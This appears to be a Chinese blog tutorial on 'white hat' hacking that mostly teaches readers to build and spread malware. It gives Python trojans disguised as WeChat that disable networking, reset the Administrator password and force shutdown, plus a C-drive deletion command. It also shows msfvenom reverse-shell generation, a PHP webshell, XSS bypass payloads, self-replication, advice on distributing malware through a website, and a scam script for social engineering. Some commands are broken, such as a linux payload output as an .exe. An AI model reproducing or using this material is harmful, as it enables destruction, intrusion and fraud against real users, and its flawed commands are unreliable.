主頁 > 軟體設計 > 讓你成為白帽子黑客(中級篇)

讓你成為白帽子黑客(中級篇)

2020-10-19 02:50:25 軟體設計


相關說明

本章所講述的所有黑客技術,均不得用于非法目的,
如果你覺得文章含有侵權部分,可以聯系CSDN私聊,我會適當修改,
未經允許,不得轉載,如需轉載,請CSDN私聊,


引子

從中級篇之后,我們的開場就不一樣啦!
換了臺新電腦,很多軟體都換了,所以我就干脆從新改一下開場白,

虛擬環境——VMware

之前的VirtualBox不用了,現在我用VMware,
安裝VMware Workstation 15 Pro:
在這里插入圖片描述
下載安裝,打開后,你應該看到是這個樣子:
在這里插入圖片描述

創建攻擊物件和攻擊機

我們需要創建幾臺計算機:
Kali(攻擊機) Windows10(用戶機) Windows7(用戶機)
暫時創建這么幾個,XP,Server等也可以安裝,之后如果用到了的話我會講,
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
點擊完成,然后匯入iso檔案,開機即可:
在這里插入圖片描述
Windows10是微軟一個優秀的作業系統,據說也是微軟Windows系列的最后一個發行版,
Windows10比之前任何一款作業系統的綜合防御能力都要強,所以我們也要學習怎么入侵Windows10,
Windows 7作業系統也是一個比較重要的系統,XP之后,隨著UAC等防御機制的發布,系統也不弱,所以,我們也要學習攻擊,

Win7:
在這里插入圖片描述
Kali(這里我換成舊版Kali):
在這里插入圖片描述
Kali真的非常爽,我們用Kali,隨隨便便能攻擊一臺計算機,隨隨便便能攻擊一個網站,
當然,一切都是在虛擬環境下的,

Python安裝

這個我就不說了,之前文章都有,
安裝完成之后,輸入代碼來測驗:

print("Hello World")

輸出如下:

Hello World

這代表你的IDE可用,

測驗虛擬機的網路配接器

如果我們要做內網滲透,我們要將攻擊機和用戶電腦放在一個局域網內,如果我們做Web相關的滲透,我們則需要把攻擊機設為NAT模式,
在這里插入圖片描述
VMnet0是可以上網的,也可以做一些滲透,
之后我們需要根據實驗需求,修改虛擬機的網路配接器,就在設定里面設定,

查看Windows和Linux的IP地址

很多人都不會調IP,那么這里對Windows和Linux的IP地址查詢做一下講解,
Windows系統是在cmd里面調取的,
打開Windows:
在這里插入圖片描述
按下Windows + R,輸入cmd:
在這里插入圖片描述
然后在黑框中輸入ipconfig
在這里插入圖片描述
其中的IPv4地址就是我們的ip地址,
打開Kali Linux的終端:
在這里插入圖片描述
輸入ifconfig
在這里插入圖片描述
其中的eth0中的inet就是你的IP地址了,
調取IP地址是基本知識中的基本知識,一學就會,

1.制作斷網木馬

如果用戶運行木馬程式,就會斷網,就這么簡單,和原理一樣簡單,
在CMD中,斷網使用的指令是:

NET STOP SERVICE

使用Python制作木馬程式,可以用這個代碼:

import os
os.system("net stop service")

斷網木馬,通常只是一個惡作劇木馬,

2.制作彈窗木馬

為了提高彈窗木馬的真實性,我們將其偽裝成一個程式,代碼附上:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

這是一個正常的程式,對電腦沒有傷害,然后我們結合一個斷網木馬,

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

然后,我們彈窗,

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()
tkinter.messagebox.showerror("錯誤", "Windows防火墻意外關閉")
tkinter.messagebox.showerror("錯誤", "Windows木馬查殺工具意外關閉")
tkinter.messagebox.showerror("廣告", "Windows駐西安皮革廠倒閉了!")
……………………………………

3.修改密碼病毒

這個病毒可以修改電腦密碼!
首先,我們撰寫偽裝程式:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

然后,我們通過CMD指令修改Administrator密碼:

import tkinter.messagebox
import tkinter
import os
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

修改好了密碼,然后,我們斷網:

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

病毒正在提升威力!但是如果有人一直不關機怎么辦?沒關系!

制作強制關機腳本

立刻關機的CMD命令:

shutdown -s -t 0

如果設定的是一分鐘后關機,那么:

shutdown -s -t 60

OK,通過這段代碼,我們結合上面的代碼,來開始制作!

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()
os.system("shutdown -s -t 0")

我們通過一段段的學習,現在已經可以制作木馬病毒了!

正章

上一篇中,我們學習了通過Windows的高危漏洞永恒之藍入侵個人PC電腦,我們使用了msfconsole這個東西來攻擊,
本章,我們會深入學習msfconsole以及Python編程,向白帽子黑客更進一步,
本章節還會學習很多的術語與操作,希望能為你帶來幫助,

常見Web漏洞

一.SQL注入漏洞

這么來說吧,這個網站只要使用了資料庫,一般都有被SQL注入的風險,這要看網站是怎么防護的,
SQL注入漏洞原理就是通過輸入框輸入的內容和SQL陳述句來拼接而成,

<?php
...
$input = $_GET['input'];
$get = "SELECT username From users WHERE username = '$input'";
...

這個就是典型的PHP注入漏洞代碼,
SQL注入漏洞一直是網路安全漏洞中的頭等大敵,每個企業都在盡力避免,SQL注入漏洞最高的危險就是資料庫內容被獲取,個人隱私泄露,試想一下,如果一個上萬人注冊的網站被SQL注入,那么,這個網站不得賠死,

在網站上尋找SQL注入點實作注入

一般只要有輸入框和SQL陳述句是拼接的,都是SQL注入可以嘗試的注入點,那么一般的網站,都是非常大而且雜的,所以我們要嘗試在一個復雜的網站上試圖尋找注入點,
去百度上尋找一個網站去練手吧!但是千萬不要去攻擊,

SQL注入防御

其實,一個網站必須使用資料庫,只要使用了資料庫,就都有被攻擊的風險,具體的防護方法有很多,其中最為常見的就是過濾,
過濾就是將用戶輸入的危險字符通過某種轉義方式改為不危險字符,其中危險字符就包括:

select, delete, insert, update, or, where......

等等,但是之過濾這些字符還不夠,攻擊者可以通過大小寫混寫來繞過防護,所以,我們需要通過正則運算式來防護,

白名單和黑名單

設定黑白名單也是有效的防護方法,通過檢測用戶的例外行為,并拒絕該IP地址向網站服務器發送請求,
例如一個網站,用戶192.168.255.255向網站服務器發送請求,然后網站正常回應,但是用戶192.168.255.255在輸入框中連續輸入危險字符超過一定次數,那么下次192.168.255.255再向網站發送請求的時候,黑名單已經記錄了下來,然后請求被拒絕,
函式大體如下:

def defence():
    global i
    #過濾函式
    i = 0#計數器
    ......
    i += 1;
if i > 5:
    #封禁操作    

自動化軟體

目前作者知道的主要是SQLmap以及啊D工具,這兩個工具可以實作SQL注入,

二.XSS跨站腳本攻擊漏洞

曾經一度被OWASP列為最危險漏洞,XSS,跨站腳本攻擊,本質上也是一種注入攻擊,最容易受到XSS漏洞影響的大多數是一些實時通訊功能,例如留言板,在線聊天室,
為什么XSS漏洞如此受重視?因為它的危害程度不亞于SQL注入攻擊,如果一個網站存在XSS漏洞,那么攻擊者可以執行任意的Js代碼,

$input = $_GET['input'];
echo "$input";

最常見的測驗指令,就是<script>alert(1)</script>,我們現在來看一下攻擊案例,通過這個攻擊案例來看一下XSS,

攻擊案例

自己花了一點時間搭建了一個模擬某科技公司的官網,其中黑客容易攻擊的地方主要有兩處,分別是:
1.在線留言板:
在這里插入圖片描述
這個點非常可能被攻擊,重點考慮,
2.全站搜索
在這里插入圖片描述
除了剛剛的留言板,這個是唯一的互動式輸入框,雖說不打算考慮,但是我開發時沒有任何過濾,所以也有注入風險,
留言板功能,我為了模擬真正的攻擊,請了一個朋友幫我做了一個過濾,然后讓我攻擊,簡單的嘗試了一下,簡單的尖括號,script,iframe,click等都過濾了,但是,好像唯獨沒有過濾img字符,這位老兄HTML沒學好啊!嘗試攻擊,果然成功,
在這里插入圖片描述
我問了一下他,還看了一下過濾代碼,發現他是用的正則運算式,如果不用,那么以下的陳述句都是可以用的:

<scri<script>pt>alert(1)</script>
<scrIpt>alert(1)</script>
<script>alert(1)</SCript>
......

還有就是遞回,當然,這里黑白名單也是可以用的,
其實,XSS漏洞的危害,取決于黑客的Js代碼,如果一個不會編程的黑客,就算發現了XSS漏洞,那么最多彈框,

關于HTML轉義

這就很難繞過了,
不過XSS Aditor是有辦法繞過的,本人現在還在學習,

相關工具

我目前并沒有發現什么有用的黑客工具可以用來XSS,所以手工注入的能力很重要,

三.暴力破解漏洞

相信大家應該都知道列舉(又稱窮舉),那就是通過一個個試,最終得到結果,機器最適合干這個事了,所以,暴力破解漏洞由此誕生,
通過Python可以實作暴力破解,主要使用的是request模塊,這個模塊可以處理網站,當然也可以用來爬蟲,
一般來說,暴力破解漏洞存在于登入界面或者密碼界面,最簡單的例子就是管理員后臺,有登入密碼,以及常見的如“您的檔案已加密,請輸入密碼”或者“請輸入密碼查看”等,人們總是認為這種方式能夠防止資料被偷竊,但是,有暴力破解,
在這里插入圖片描述
幾乎所有網站都是用上圖的登入方式,

弱密碼

什么是弱密碼呢?123456,888888,qwerty等都是弱密碼,這些弱密碼大多數都在黑客的密碼字典中,所以,弱密碼是最容易破解的,一般黑客的弱密碼字典大多數在10-20MB,估算一下,大概有幾百萬個密碼,
弱密碼非常危險,所以,現在密碼一定不要設定成弱密碼,

暴力破解防護方法

行為驗證碼

行為驗證碼需要用戶通過驗證碼,例如滑動圖示,辨別圖片等內容,有些大型的社交平臺,如微博,有時候甚至需要兩次行為驗證,這對黑客暴力破解加大了難度,不過驗證碼也不一定安全,這就要看開發者怎么去開發了,有沒有驗證碼失效制度,
我在互聯網上找到了一個網站,所有的登入注冊都需要驗證,
注冊(雙重認證:行為認證和短信驗證碼):
在這里插入圖片描述
賬密登入:
在這里插入圖片描述
短信登入(又是雙重認證);
在這里插入圖片描述

token放爆破機制

所謂的token,其實就是一個驗證碼,只不過驗證碼用戶看不到,而是通過兩端的token驗證碼進行比對,確認無誤才能通過,
token放爆破機制其實也有繞過方式,同樣是開發者的失效機制有沒有開發好,

自動化工具

暴力破解就很多了,你們大可自己開發或尋找,

四.檔案上傳漏洞

檔案上傳是現在很多網站都具備的功能,例如說頭像上傳,資料上傳等,那么,如果一個網站具有上傳檔案的功能,攻擊者是不是就可以上傳木馬呢?
事實證明,如果網站對檔案上傳的后綴名,內容沒有做任何審核,那么木馬是可以上傳成功的,
最簡單的木馬,就是只通過一句PHP代碼來實作,簡稱PHP一句話木馬,

<?php eval(@$_POST['a']); ?>

最后通過中國菜刀拿到整個網站的框架,

怎么過濾?

開發者通過對檔案上傳內容進行檔案后綴名檢測,比如作者之前有做過一個檔案上傳漏洞檢測,就可以通過對特定的后綴名進行勘察,
例如一個功能,是上傳頭像,那么用戶肯定不會上傳一個php檔案上去,所以,我們就可以規定這類檔案可以上傳:

.jpg  .png  .gif  .bmp 

但是,這太天真了,對于黑客來說,改個后綴名豈不是簡簡單單?
于是,新的防護產品誕生了!

安全狗

安全狗可以通過相關技術,挖掘檔案內容,準確識別PHP一句話木馬,網路木馬等,但是,PHP有辦法繞過一句話,

CSRF漏洞

這個漏洞的條件比較苛刻,CSRF其實是通過一個惡意鏈接,有待用戶點擊,然后修改用戶內容,
CSRF通常出現在忘記密碼,攻擊者構造好鏈接之后,就可以修改相關資訊,這里不多做介紹,

Web小結

了解了網站的常見漏洞之后,我們就可以找網站練手了,當然,如果我們挖到了漏洞,可以提交給SRC,這樣還能掙錢!

病毒

病毒,就是黑客撰寫的計算機程式,通過這個程式,可以對用戶造成損失等,
病毒會通過Web等方式傳播,并且通常擁有自我復制能力,所以我們形象的成惡意程式為病毒,
木馬本質上也是病毒,兩者沒有太大的差異,

  • 破壞性病毒
    這種病毒的危害就是破壞你的檔案,他可能會洗掉你的所有檔案,或洗掉制定檔案,也可能例如無限打開瀏覽器,無限彈窗等,這對電腦也是有很大損害的,
    其實有些電腦,會出現一直藍屏,亦或者打不開系統等,人們往往認為這是電腦硬體出了問題,其實,也有可能是一些病毒造成的,
  • 遠控病毒
    這種病毒可以遠程控制你的電腦,你甚至都可能察覺不到你的電腦正在被監控,他們往往可以遠程下載檔案帶你的電腦上面,或者遠程修改,打開你的檔案,做鍵盤記錄等,
  • 勒索病毒
    這種病毒在運行了之后就會加密你的所有檔案,之后就要求你支付相應贖金來解密檔案,最近爆發的WannaCry病毒就是勒索病毒,之后我們也會學習分析這些病毒,
  • 其他病毒
    還有其他例如密碼盜取,惡意差評病毒等,

破壞性病毒

import webbrowser as web
web.open("www.baidu.com")

這段代碼就可以打開百度首頁,那么,我們把它改進一下,就變成了一個病毒:

import webbrowser as web
while True:
	web.open("www.baidu.com")

洗掉C盤也是一個方法,他的代碼實作如下:

import subprocess as sub
a = sub.call("del C:\ ", shell=True)

破壞一個系統就是那么簡單,一個簡單的py程式就可能對系統造成破壞,
破壞性病毒的撰寫比較簡單,我們制作的簡單的病毒程式就會造成嚴重的損失,

msf遠控木馬

在終端輸入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f exe > virus.exe

生成木馬病毒之后,然后生成控制端:

msfconsole
use exploit/multi/handler
set lhost 192.168.0.106
set lport 4444
exploit

最后,你會拿到meterpreter會話

meterpreter>

當你看到這個字符的時候,那就說明,你成功了,通過meterpreter可以做很多事,例如檔案上傳與下載,桌面監控,遠程攝像頭拍攝等等,

這類就是遠控木馬,這種木馬的危害是遠遠大于破壞性木馬的,

勒索病毒

勒索病毒的撰寫有一些難度,我們在這一篇中暫時不會接觸,

傳播

病毒做好了,我們要想盡一切方法來傳播病毒,
通過網站傳播是一個非常好的方法,我們可以自己制作一個網站,
如果你沒有自己開發網站的能力,沒關系,你可以使用工具——凡客建站,
這里我們不說了,我們通過撰寫代碼來制作網站,


撰寫網站可以學習PHP,JSP,ASP,HTML等等


寫一個網站,可以下載我們的惡意軟體:
在這里插入圖片描述
其實,我們也可以通過郵件或者廣告等方式來傳播我們的病毒,但是現在,我們暫時不學習,

拓展篇

大家在學習的程序中出現的問題,都可以通過百度自行解決,或者私信我,
如果你目前還無法理解這些知識,那么,請一定檢查這些原因:

  • 跳著看的,之前的東西沒有仔細看
  • 對于Python等編程不夠了解
  • 對于計算機的基本了解太低
    好了,讓我們開始學習吧!

病毒的常見特征實作

  • 自我繁殖
    自我繁殖技術是一個比較高超的學問,本章中我們只是介紹一些最簡單的繁殖技術——復制,
    如果需要通過代碼實作,那就是這樣的,
import os
os.system("copy 路徑 路徑")
  • 注冊表實作開機自啟動
    注冊表的開機自啟動就是通過編碼,將一個程式寫入注冊表,從而實作開機自啟動,
    這里我們通過C++實作,這也是一種比較重要的語言,而且Windows系統也是基于C++開發的,
    C++HelloWorld實體:
#include <iostream>
using namespace std;
int main(){
	cout << "Hello World!" << endl;
	return 0;
}

那么關于WIndows的函式,我們通過這個庫:

#include <windows.h>

好的,現在我們來了解幾個函式:

RegOpenKeyEx:打開一個指定的注冊表鍵,
RegSetValueEx:在注冊表項下設定指定值的資料和型別,回傳零表示成功,回傳其他任何值都代表一個錯誤代碼,

參考鏈接:
https://baike.baidu.com/item/RegOpenKeyEx/3716633
https://baike.baidu.com/item/RegSetValueEx/9735249
這樣,我們就能大致實作自啟動,
還有以下病毒的基本技術:

  • 資源釋放
  • 自我壓縮與解壓縮
  • 提權技術
  • 自我隱藏

推薦大家學習《Windows黑客編程技術詳解》,這篇文章具體的講解了病毒在進入了用戶電腦之后的一系列行為和編碼實作,這里筆者就不多多解釋了,

病毒小結

到這里,有關病毒的一部分就到此結束了,
其實病毒的廣闊世界還有待我們探索,我們還沒有完全了解病毒,
中國的灰鴿子,病毒,大白鯊等木馬,告別了國外木馬一統天下的局勢,我們也可以學習怎么去使用它,
打開Windows10虛擬機,在虛擬機內安裝小風黑客工具包,大家可以探索里面的工具,
在這里插入圖片描述
大家也可以下載WannaCry,熊貓燒香等木馬,自行研究,之后,在高級篇內,我會教授大家怎么反編譯和研究這些木馬病毒,

插曲:社會工程學

隨著反黑客技術的越來越強,常規的黑客攻擊手段越來越難實作,所以黑客大致就分為了兩類:繼續研究破解或繞過反病毒軟體等,但是也有不少黑客選擇了社工黑客,
社會工程學就是借助人性,主要表現在對于錢財的貪婪,對于社會的不滿等,黑客通常會通過社會工程學,去打聽到一些訊息,
所以:人才是最大的安全漏洞

社會工程學使得黑客就像是一個特工一樣,潛入秘密大樓,從而打聽訊息,
欺騙,就是社會工程學的本質,


(前期:用戶大白在某網站上注冊了一個賬號,然后有一天發現網站的提現功能失效了,于是就找到了偽裝成作業人員的黑客)
大白:搞啥玩兒,這錢怎么提不出來了?
黑客:您先別急,我來看看,
(過了5min)
黑客:你好,你的賬號好像出了點問題,
大白:啥子問題?
黑客:emmm,似乎被黑客入侵了,前幾天也是有一個這樣的用戶,
大白(傻眼了):黑客入侵?那咋辦呢?我可存了10W+元呢!
黑客:您先告訴我賬號密碼,然后我幫你看看是什么問題,
大白:用戶名:DB19990512 密碼是那么qweqwe
(過了3min)
黑客:手機已經被攻擊,你看看能不能把身份證資訊告訴我,我幫您看看聯合實名認證能不能幫您解決
大白:31020419900512375X
黑客:不好意思,你的手機已經被黑客掌控,
大白:玩了,我的錢啊!
黑客:沒關系,我可以幫你,
大白:你拿什么幫我?
黑客:你先付我5000塊錢,然后我幫您申請一個“防黑加固”,雖然錢取不出來了,但是之后錢還是可以正常存的,
大白:我的錢都沒有了,存個****,我看你***就是玩我,
黑客:已經被黑客偷走的錢是要不回來的,所以你現在只能這樣了!
大白:好吧,
(黑客賬號多了5000元)
黑客:好了,下次小心點,
大白:OK


通過上面的故事,黑客成功拿到了大白的身份證號碼,以及賬號密碼的資訊,還多掙了5000塊,這就是社會工程學的威力,

結束

好了,終于結束了,其實發現,做一個黑客還挺有意思的,
本人堅決反對學習者通過黑客技術違反法律,任何違反法律的事,都會受到法律的制裁,
如果你覺得我的文章對你有用,請在評論區留下你的鼓勵吧!哪怕——那只是一個假的祝福,你們的鼓勵,是我不斷出各類教程的不斷動力,真的,
如果不想,那就算了,希望你能在未來,勢如破竹,

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/179328.html

標籤:其他

上一篇:啦啦外賣小程式上傳提示43003解決辦法

下一篇:35+了,發奮讀書改變命運,還有機會嗎?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more